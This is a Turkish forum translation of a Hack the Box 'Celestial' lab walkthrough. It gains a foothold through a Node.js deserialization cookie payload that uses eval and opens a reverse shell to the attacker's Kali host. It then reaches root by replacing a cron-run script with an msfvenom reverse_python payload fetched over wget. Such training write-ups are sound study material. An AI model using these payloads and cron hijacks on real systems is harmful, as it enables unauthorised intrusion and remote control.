Bu makale Moderasyon Çeviri Ekibi tarafından çevrilmiştir. Orijinal içeriğe
Hack the Box: Celestial Walkthrough adresinden ulaşabilirsiniz.
Zorluk Seviyesi: Orta
Görev: Kurbanın bilgisayarında user.txt ve root.txt dosyalarını bulmak.
Başlayalım..
Görev: Kurbanın bilgisayarında user.txt ve root.txt dosyalarını bulmak.
Başlayalım..
Bu pentest laboratuvarları internetten olduğundan, statik IP'ye sahiplerdir. Bunun IP'si 10.10.10.85.
Hedefimizi bulmak için ağı taramakla işe koyulalım.
Kod:
[COLOR="white"][CENTER]nmap -A 10.10.10.85[/CENTER][/COLOR]
NMAP çıktısı, bize hedef bilgisayarda TCP 3000 portunun açık olduğunu gösteriyor. Aşağıdaki gibi standart olmayan HTTP portundan (3000) siteye erişim sağlamaya çalışalım.
Url kısmına
Kod:
[COLOR="white"][CENTER]10.10.10.85:3000[/COLOR]
yazdığımızda şöyle bir sayfa karşımıza çıkıyor:
Diğer pek çok olasılıkları da denedikten sonra ilerlemek için halen bir ipucu bulamadığımızdan, çabucak Burpsuite aracı ile sitenin isteğini anlamaya çalışalım. Bu nedenle, sayfasının GET isteğini yakaladıktan sonra, (kırmızıyla gösterilen) profile= Cookie parametresini fark ettik.
profile= Cookie parametresindeki tüm değeri kopyalayalım ve Burpsuite decoder (şifre çözücü) içine yapıştıralım.
Kod:
[COLOR="white"][CENTER]eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D[/CENTER][/COLOR]
Aynı şifreyi çözerken çıktısını base64 formatında alacağız. Base64 format çıktısının şifresini bir kez daha çözeceğiz ve şifrenin açık metin halini görebileceğiz. Çıktı bize belirli bir kullanıcının kullanıcı adını ve diğer detaylarını gösterdi. Bu da, istediğimiz sonucu almak için, kodlarımızı Cookie profili parametre değerine ekleyebileceğimize işarettir.
Uzaktan erişim sağlayan bir hatadır bu Node JS ters serileştirme (deserialization) hatası. Çoklu sayısal değerler kapsayan belirli bir karakter dizisi bulunduran bir fonksiyon var.
10'dan 10'a kadarki tüm (String.fromCharCode sonrasındaki) sayısal içerikleri kopyalayalım. Şu:
Kod:
[COLOR="white"][CENTER]https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html[/CENTER][/COLOR]
linke girelim ve aşağıdaki resimde gösterildiği gibi Decimal'den ASCII'a çevirelim.
Şimdi de ASCII içeriğini değiştirelim ve IP'si 10.10.14.3 olan Kali'mizde HOST ve PORT parametrelerini HOST=10.10.14.3 ve PORT= 4444 olacak şekilde düzenleyelim. Tamamlandığında, Decimal'de aşağıda gösterilenle aynı çıktıyı elde edeceğiz.
Her numara birbirinden virgülle ayrılmış bir şekilde yukarıdaki resimde de olduğu gibi 118'den 10'a kadar olan Decimal çıktısını kopyalayın.
Not: Gördüğümüz üzere, yukarıdaki Decimal çıktısı boşluk ile ayrılmıştı lakin bundan sonra ya elle tek tek yapmalı ya da aşağıda verdiğim Python scriptini kullanıp yapmalı.
Kod:
[COLOR="white"][CENTER]https://github.com/Sayantan5/Holiday/blob/master/encode.py[/CENTER][/COLOR]
Virgülle ayrılmış Decimal çıktısı hazır olduğunda şimdi ise aşağıda gösterildiği gibi kodun içine yapıştırmalıyız (decimal çıktısını değerle yer değiştirelim) ve aynı şekilde Base64 şifrelemesini uygulayalım.
Kod:
[COLOR="white"][CENTER]echo {"username":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(value) )}()"} | base64 -w0[/CENTER][/COLOR]
Yukarıdaki şifrelenmiş çıktıyı kopyalayalım ve aşağıdaki resimde gösterildiği gibi Burpsuite'de Profile= parametresinin önüne yapıştıralım.
Tamamlandığında, Burpsuite Intercept sekmesindeki Forward seçeneğine tıklayalım.
Not: Burpsuite'de değiştirdiğimiz içeriği yollamadan önce, Kali'de Netcat dinleyicisini kurmalıyız ve hazır tutmalıyız.
Kod:
[COLOR="white"][CENTER]nc -lvp 4444[/CENTER][/COLOR]
Uygun bir TTY shell'ine erişmek için aşağıdaki tek satırlık Python script'ini içe aktarmalıyız.
Kod:
[COLOR="white"][CENTER]python -c 'import pty;pty.spawn("/bin/bash")'[/CENTER][/COLOR]
İşte bu! Hedef bilgisayara Reverse shell attık.
İçeriğine şöylece bir göz atalım.
Kod:
[COLOR="white"][CENTER]ls[/CENTER][/COLOR]
Çok klasör taradık ve sonunda ********s klasöründe ilgi çekici şeyler gördük.
Kod:
[COLOR="white"][CENTER]cd ********s[/CENTER][/COLOR]
Burada user.txt dosyasını bulduk, içeriğine bir bakalım.
Kod:
[COLOR="white"][CENTER]cat user.txt[/CENTER][/COLOR]
User.txt dosyasının içinden çıkan bizim ilk bayrağımız.
Bunun yanı sıra içeriğini inceleme merakından bir de script.py dosyasını açalım.
Kod:
[COLOR="white"][CENTER]cat script.py[/CENTER][/COLOR]
dersek, çıktı olarak şunu göreceğiz.
Kod:
[COLOR="white"][CENTER]print Script is running[/CENTER][/COLOR]
Not: Bu da, bazı kayıt dosyalarını, hangi script'in çalıştığını ve periyodik temellerde çalışıp çalışmadığını görmek için incelememiz gerektiğini gösteren bir işaret.
Var dizinindeki kayıtların içeriğini incelememiz lazım.
Kod:
[COLOR="white"][CENTER]cd /var/log[/CENTER][/COLOR]
Buradaki dosyalar neymiş ona bakalım.
Kod:
[COLOR="white"][CENTER]ls[/CENTER][/COLOR]
Gördüğümüz gibi, bu klasörde oluşturulmuş bir çok syslog dosyası var. Eski kayıtlar uygun şekilde sıkıştırılıp numaralandırılıyor. Güncel olan kayıt dosyasının adı her zaman syslog olarak geçer. Bu yüzden syslog dosyasının içeriğini açacağız ve ilginç bir şey olup olmadığına bakmaya çalışacağız.
Kod:
[COLOR="white"][CENTER]cat syslog[/CENTER][/COLOR]
Burada her beş dakikada bir çalışan, script.py dosyasının çıktısını kopyalayıp aşağıdaki dizinde output.txt adlı dosya yaratıp içine yapıştıran bir cronjob olduğunun farkına vardık.
Kod:
[COLOR="white"][CENTER]home/sun/********s[/CENTER][/COLOR]
Şimdi ise kendi içeriğimizi script.py dosyasına koymaya çalışalım. Bunun için, aşağıdaki komut ile bir Reverse shell oluşturalım.
Kod:
[COLOR="white"][CENTER]msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport=1234 R[/CENTER][/COLOR]
Msfvenom çıktısının içeriğini kopyalayalım ve Kali masaüstümüze script.py adında kaydedelim. Bunu sonraki adımlarda kullanacağız.
Şimdi de Kali'de web sunucusunu çalıştıralım.
Kod:
[COLOR="white"][CENTER]python -m SimpleHTTPServer 80[/CENTER][/COLOR]
Script.py dosyasının içeriğini okuyalım.
Kod:
[COLOR="white"][CENTER]cat script.py[/CENTER][/COLOR]
Çıktı bize şunu gösterdi:
Kod:
[COLOR="white"][CENTER]print Script is running..[/CENTER][/COLOR]
Orijinal olan Python script dosyasının ismini aşağıdaki gibi script.py.original olacak şekilde değiştirelim.
Kod:
[COLOR="white"][CENTER]mv script.py script.py.original[/CENTER][/COLOR]
Kali masaüstümüzden yeni oluşturduğumuz script.py dosyasını indirelim.
Kod:
[COLOR="white"][CENTER]wget http://10.10.14.3/script.py[/CENTER][/COLOR]
Bir Netcat Reverse shell açın.
nc -lvp 1234
Uygun bir TTY shell'ine erişmek için aşağıdaki tek satırlık Python script'ini içe aktarmalıyız.
Kod:
[COLOR="white"][CENTER]python -c 'import pty;pty.spawn("/bin/bash")'[/CENTER][/COLOR]
Helal be! Root'a girdik sonunda.
Root dizinine geçelim.
Kod:
[COLOR="white"][CENTER]cd /root[/CENTER][/COLOR]
İçeriği neymiş bakalım.
Kod:
[COLOR="white"][CENTER]ls[/CENTER][/COLOR]
Root.txt ve script.py adlı iki tane dosya var. Root.txt dosyasını açalım.
Kod:
[COLOR="white"][CENTER]cat root.txt[/CENTER][/COLOR]
Süper! Görevimiz olan iki dosyaya da erişim sağladık.
[/CENTER]
Moderatör tarafında düzenlendi: